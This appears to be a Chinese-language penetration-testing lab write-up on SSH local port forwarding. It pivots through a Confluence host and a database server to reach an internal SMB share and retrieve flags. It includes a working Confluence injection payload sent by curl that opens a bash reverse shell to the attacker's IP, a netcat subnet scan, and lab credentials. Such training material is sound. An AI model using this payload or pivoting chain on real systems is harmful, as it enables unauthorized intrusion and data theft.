SSH Tunneling - Local Port Forwarding

 SSH Tunneling - Local Port Forwarding


讓我們回想一下上一篇 Socat 場景中的第一個連接埠轉送範例。我們將 Socat 設定為偵聽 CONFLUENCE01 WAN 介面上的 TCP 連接埠 2345。在該連接埠上收到的封包被轉送到 PGDATABASE01 上的 TCP 連接埠 5432。我們使用它從 Kali 機器透過 CONFLUENCE01 連接到 PGDATABASE01 上的 PostgreSQL 服務。在這種情況下需要注意的關鍵一點是偵聽和轉送都是從同一台主機 (CONFLUENCE01) 完成的。


SSH 本地埠轉送對此新增了一個小改動。使用 SSH 本機連接埠轉發,封包不會由偵聽封包的相同主機轉送。相反,在兩個主機(SSH 用戶端和 SSH 伺服器)之間建立 SSH 連接, SSH 用戶端打開一個偵聽端口,並且在此端口上接收到的所有數據包都通過 SSH 連接通過隧道傳輸到SSH 伺服器。然後封包由 SSH 伺服器轉送到我們指定的套接字。


稍微修改一下先前的場景:Socat 現在在 CONFLUENCE01 上不再可用。我們仍然擁有之前從 Confluence 資料庫破解的所有憑證,並且仍然沒有防火牆阻止我們連接到 CONFLUENCE01 上綁定的連接埠。


使用database_admin憑證,我們將登入PGDATABASE01並發現它連接到另一個內部子網路。我們在該子網路中找到一台開啟了伺服器訊息區塊(SMB) 伺服器(在 TCP 連接埠 445 上)的主機。我們希望能夠連接到該伺服器並將我們找到的內容下載到我們的 Kali 機器上。


在這種類型的場景中,我們將計劃建立一個 SSH 本地連接埠轉發,作為從 CONFLUENCE01 到 PGDATABASE01 的 SSH 連接的一部分。我們將在CONFLUENCE01的WAN介面上綁定一個監聽埠。發送到該連接埠的所有封包都將透過 SSH 隧道轉送。然後,PGDATABASE01 會將這些封包轉送到我們找到的新主機上的 SMB 連接埠。




攻擊機 192.168.45.187

靶機 192.168.198.63、10.4.198.215、172.16.198.217


使用一樣的 Confluence 漏洞拿 Reverse Shell

curl -v http://192.168.198.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.187/4444%200%3E%261%27%29.start%28%29%22%29%7D/



4444 進來後 ip ro 看一下有另外一隻腳 ens224 10.4.198.63


先執行 python3 -c 'import pty; pty.spawn("/bin/bash")' 之後

ssh 到 DB Server 後 ip ro 確認有另外一隻腳 ens224 172.16.198.254




接著可以列舉一下 172.16.198.0/24 網段看哪一個 IP 有開 445 Port

指令 for i in $(seq 1 253); do nc -zv -w 1 172.16.198.$i 445; done

寫一個 Bash for 迴圈來掃描 /24 子網路上具有開放埠 445 的主機。使用 Netcat 建立連接

參數 -z 來檢查偵聽連接埠而不發送數

參數 -v 表示詳細程度

參數 -w 設定為 1 以確保較低的逾時閾值

可以看到 172.16.198.217 445 Port 有回應




接著我們將指示 SSH 偵聽 CONFLUENCE01 ( 0.0.0.0:4455 ) 上連接埠 4455 上的所有接口,然後將所有資料包(透過 SSH 隧道傳送至 PGDATABASE01)轉送至新找到的主機 ( 172.16.198.217 ) 上的445埠。

指令 ssh -N -L 0.0.0.0:4455:172.16.198.217:445 database_admin@10.4.198.215

輸入密碼後,我們不會收到任何輸出。當使用-N標誌運行 SSH 時,這是正常的。-N標誌阻止 SSH 執行任何遠端命令,這意味著我們只會收到與連接埠轉送相關的輸出




可以透過另外一個 Remote Shell 去確認 CONFLUENCE01 上的狀態






連接到 CONFLUENCE01 上的連接埠 4455 現在就像直接連接到 172.16.198.217 上的連接埠 445 一樣如下圖中的連結流程





之前找到的三個帳號密碼如下,這時候就可以拿來做 SMB 登入的使用測試

 - hr_admin : Welcome1234

 - rdp_admin : P@ssw0rd!

 - database_admin : sqlpass123

測試第一個即可 SMB 正常登入

指令 : smbclient -p 4455 -L //192.168.198.63/ -U hr_admin --password=Welcome1234

可以看到有個 Scripts 分享的資料夾




接著就是看看裡面的東西

smbclient -p 4455 //192.168.198.63/scripts -U hr_admin --password=Welcome1234

ls 後發現有個 Provisioning.ps1,那就直接 get 回來吧



接著就可以直接在 kali 上 cat ,拿到 flag 了






練習

靶機 192.168.198.63、10.4.198.215、172.16.198.217

先從 Web 下載指定的檔案 client_source.zip



同目錄下再抓 ssh_local_client

http://192.168.198.63:8090/exercises/ssh_local_client

解壓縮後將它們都放在一起





依照上面 一樣的步驟建好 SSH Tunneling

ssh -N -L 0.0.0.0:4242:172.16.198.217:4242 database_admin@10.4.198.215




將檔案改一下變成可執行




執行 └─$ ./ssh_local_client -p 4242 -i 192.168.198.63,就可以拿到 flag 了






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)